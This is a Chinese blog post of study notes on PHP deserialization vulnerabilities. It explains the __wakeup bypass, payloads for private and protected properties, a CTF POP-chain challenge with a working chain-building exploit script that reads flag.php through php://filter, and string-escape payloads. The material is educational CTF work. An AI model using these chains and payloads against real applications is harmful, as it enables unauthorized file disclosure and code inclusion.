2021-10-28-PHP反序列化漏洞

PHP序列化与反序列化

这是我一直不太会的一部分,包括POP链和字符串逃逸问题。

PHP反序列化概念

序列化:

  • serialize() 将对象转变成一个字符串便于之后的传递与使用。
  • 序列化会保存对象所有的变量,但是不会保存对象的方法。

反序列化:

  • unserialize() 将序列化的结果恢复成对象。
  • 反序列化一个对象,这个对象的类必须在反序列化之前定义,或者通过包含该类的定义或者使用 spl_autoload_register() (自动包含类)实现
实例
<?php
class man{
 public $name;
 public $age;
 public $height;
 function __construct($name,$age,$height){        //_construct:创建对象时初始化
  $this->name = $name;
  $this->age = $age;
  $this->height = $height;
 }
}
$man=new man("Bob",5,20);
var_dump(serialize($man));

$man_un= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man_un));

?>

输出:

 "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}"
  
 object(man)#1 (3) {
  ["name"]=>
  string(3) "Bob"
  ["age"]=>
  int(5)
  ["height"]=>
  int(20)
}

反序列化漏洞

两个条件:

  1. unserialize()函数的参数可控

  2. php中有可以利用的类并且类中有魔幻函数

    _construct():创建对象时初始化
    _destruction():结束时销毁对象
    _toString():对象被当作字符串时使用
    _sleep():序列化对象之前调用
    _wakeup():反序列化之前调用
    _call():调用对象不存在时使用
    _get():调用私有属性时使用

考点:

  1. 绕过_wakeup()

    当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

    • 构造序列化对象:O:5:"SoFun":1:{s:4:"file";s:8:"flag.php";}
    • 构造绕过__wakeup:O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}
  2. 注入对象构造方法

    当目标对象被private、protected修饰时的构造方法

    • private:O:1:"A":1:{s:9:"%00A%00target";s:12:"payload";} (%00类名%00)
    • protected: O:1:"A":1:{s:9:"%00*%00target";s:12:"payload";}
  3. 绕过正则

    O:4O:+4 绕过

POP链

普通的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

可以看到有三个类,包含很多魔术函数:

  • _construct 当一个对象创建时被调用,
  • _toString 当一个对象被当作一个字符串被调用。
  • _wakeup() 使用unserialize时触发
  • _get() 用于从不可访问的属性读取数据 (包括:(1)私有属性,(2)没有初始化的属性)
  • _invoke() 当脚本尝试将对象调用为函数时触发

POP链的开始是Show类开始,到Modifier类结束,更准确的说应该是到__invoke()结束。分析流程如下:

  • f按序列化操作首先触发了_wakeup()方法,通过preg_match()$this->source做字符串比较,如果$this->source不是字符串是Show类,就会调用了__toString()方法;
  • _toString()访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的_get()魔术方法;
  • _get()方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;

最后是利用Modeifier类的include()函数。

a.png

解题:https://www.bilibili.com/video/BV1YV411U7te?from=search&seid=3060869174552044523&spm_id_from=333.337.0.0

#y1ng师傅的脚本,有些地方还是不太清楚之后再看看,慢慢理解
<?php
    class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
    }
 
class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->str = new Test();
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
 
$a = new Show();
$b = new Show();
$b->source=$a;
$b->str="";
var_dump(urlencode(serialize($b)));

字符串逃逸

字符逃逸某种角度上和sql注入类似,都是通过构造闭合的方式构造payload,只不过字符逃逸构造闭合注意点在长度,因为闭合标志固定,都是;}

前面提到在unserialize的时候, 当你的字符串长度与所描述的长度不一样时就会报错.比如 s:3:"Tom"变成s:4:"Tom"或s:2:"Tom"就会报错. 可以通过拼接字符串的方式来使它不报错,这类题目一般都会有一个字符串替换的过程。

字符变多
1.png

可以看到name的值变为llonmar,长度就变成7了,所以反序列的时候会报错。

这种字符增多是反序列化失败是因为漏读了字符串的value,如果构造恶意的value,再故意漏读

如令$name='lonmar";s:3:"age";s:2:"35";}'

如果再进行替换,lonmar=>llonmar,后面的}又读不到

可以设计合适的l的个数,使得替换后的词(eg. llllllllonmar)和构造的$name的值的长度一样,这样后面的;s:3:“age”;s:2:“35”;}就逃逸掉了,逃逸掉的字符串可以把原来后面的正常序列化数据提前闭合掉.

;s:3:"age";s:2:"35";}长度是22 , 所以只需要22个l

class person{
 public $name = 'llllllllllllllllllllllonmar";s:3:"age";s:2:"35";}';
 public $age = '100';
}
2.png

可以观察到age变成了35, name不是llllllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:2:"35";}而是llllllllllllllllllllllllllllllllllllllllllllonmar。因为;s:3:“age”;s:2:“35”;}逃逸,之后终止标志变成了;s:3:“age”;s:2:“35”;}里的;} 后面的就被忽略了。

字符减少

字符减少,反序列化的时候就会多读,同样的,如果构造恶意的age,让反序列化的时候多读,把age一部分读进去 同样可以达到某种目的。

<?php
highlight_file(__file__);
function filter($str){
 return str_replace('ll', 'l', $str);
}

class person{
 public $name = 'lonmar';
 public $age = '100';
}

正常的数据O:6:"person":2:{s:4:"name";s:6:"lonmar";s:3:"age";s:3:"xxx";}

如果做替换,让也";s:3:"age";s:3:"被读进name,再把xxx替换为;s:3:“age”;s:3:“100”;}

$age=123";s:3:"age";s:3:"100";}

O:6:"person":2:{s:4:"name";s:47:"llllllllllllllllllllllllllllllllllllllllllonmar";s:3:"age";s:26:"123";s:3:"age";s:3:"111";}";}

多读的为 ";s:3:"age";s:26:"123长度 21

构造(l*42)nmar, 就多吞了部分字符串

  • name: llllllllllllllllllllllllllllllllllllllllllonmar => lllllllllllllllllllllonmar";s:3:"age";s:26:"123

  • age:

    123";s:3:"age";s:3:"111";}=>111

3.png

参考资料

https://blog.csdn.net/weixin_44677409/article/details/93884388

https://www.freebuf.com/articles/web/221213.html

https://www.freebuf.com/articles/web/209975.html

https://blog.csdn.net/weixin_45551083/article/details/111085944

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,009评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,808评论 2 378
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,891评论 0 335
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,283评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,285评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,409评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,809评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,487评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,680评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,499评论 2 318
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,548评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,268评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,815评论 3 304
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,872评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,102评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,683评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,253评论 2 341

推荐阅读更多精彩内容

  • 前言 之前刚接触到反序列化概念的时候,写过一篇。现在回头看的时候,发现写的太low了。所以再重写一篇。如果以后不满...
    CSeroad阅读 876评论 3 4
  • 介绍序列化和反序列化 序列化和反序列化:大型网站中类创建的对象多的时候会占用大量空间,序列化就是将...
    草莓养殖户阅读 2,223评论 0 0
  • 0x01 概述 什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么...
    Pino_HD阅读 4,478评论 4 8
  • 序列化与反序列化了解 serialize ()serialize() 返回字符串,此字符串包含了表示 value ...
    鸡翅儿阅读 2,132评论 0 2
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 6,029评论 0 4